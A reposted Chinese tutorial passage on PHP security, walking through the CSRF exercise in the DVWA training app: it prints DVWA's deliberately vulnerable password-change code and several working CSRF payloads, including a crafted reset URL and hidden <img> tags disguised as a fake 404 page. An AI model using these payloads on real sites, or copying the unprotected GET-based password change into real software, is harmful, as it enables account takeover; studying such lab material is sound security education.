加入收藏 | 设为首页 | 会员中心 | 我要投稿 威海站长网 (https://www.0631zz.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长资讯 > 评论 > 正文

浅谈PHP安全规范

发布时间:2018-10-15 10:42:58 所属栏目:评论 来源:littlepotato
导读:【新品产上线啦】51CTO播客,随时随地,碎片化学习 一、前言 php因天生支持web应用的开发,以其简单易学,开发效率高而备受喜爱。使其占据了大片的市

(1) Low level

  1. <?php  
  2.  
  3. if( isset( $_GET[ 'Change' ] ) ) {  
  4.     // Get input  
  5.     $pass_new  = $_GET[ 'password_new' ];  
  6.     $pass_conf = $_GET[ 'password_conf' ];  
  7.  
  8.     // Do the passwords match?  
  9.     if( $pass_new == $pass_conf ) {  
  10.         // They do!  
  11.         $pass_new = mysql_real_escape_string( $pass_new );  
  12.         $pass_new = md5( $pass_new );  
  13.  
  14.         // Update the database  
  15.         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";  
  16.         $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );  
  17.  
  18.         // Feedback for the user  
  19.         echo "<pre>Password Changed.</pre>";  
  20.     }  
  21.     else {  
  22.         // Issue with passwords matching  
  23.         echo "<pre>Passwords did not match.</pre>";  
  24.     }  
  25.  
  26.     mysql_close();  
  27. }  
  28.  
  29. ?> 

所谓的CSRF(Cross-site request forgery)直白的翻译就是跨站点请求伪造。说人话就是攻击者通过诱使victim访问其精心构造的url或者访问其精心构造的页面,来使得攻击者可以以victim的身份做诸如发邮件,发消息,改密码等骚操作。在DVWA这个系列里面,模拟的是修改密码的界面。先来看下low等级的代码,可以说是没有进行仍和的再认证,试下为啥是“再认证”?其实我们在访问到这个修改密码界面的时候,已经登陆过一次,服务器会在每次访问时检查session。所以这是第一道认证。但是这种会话级别的认证对csrf是没有抵抗力的。具体的过程可以参看之前提到的链接。我们可以直接构造url:

http://localhost/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#。

让victim访问,或者使用更加隐匿的:

  1. <style> 
  2.    form{ 
  3.     display:none; 
  4.    } 
  5. </style> 

构造无迹表单,结合js发送请求,或者:

  1. <img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0"    style="display:none;"/> 

来实现欺骗隐匿行踪,达到修改密码的目的。顺便盗用两个别人的poc方便展示:

图片形式诱导

  1. <img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/> 
  2.  
  3. <h1>404<h1> 
  4.  
  5. <h2>file not found.<h2> 

(编辑:威海站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读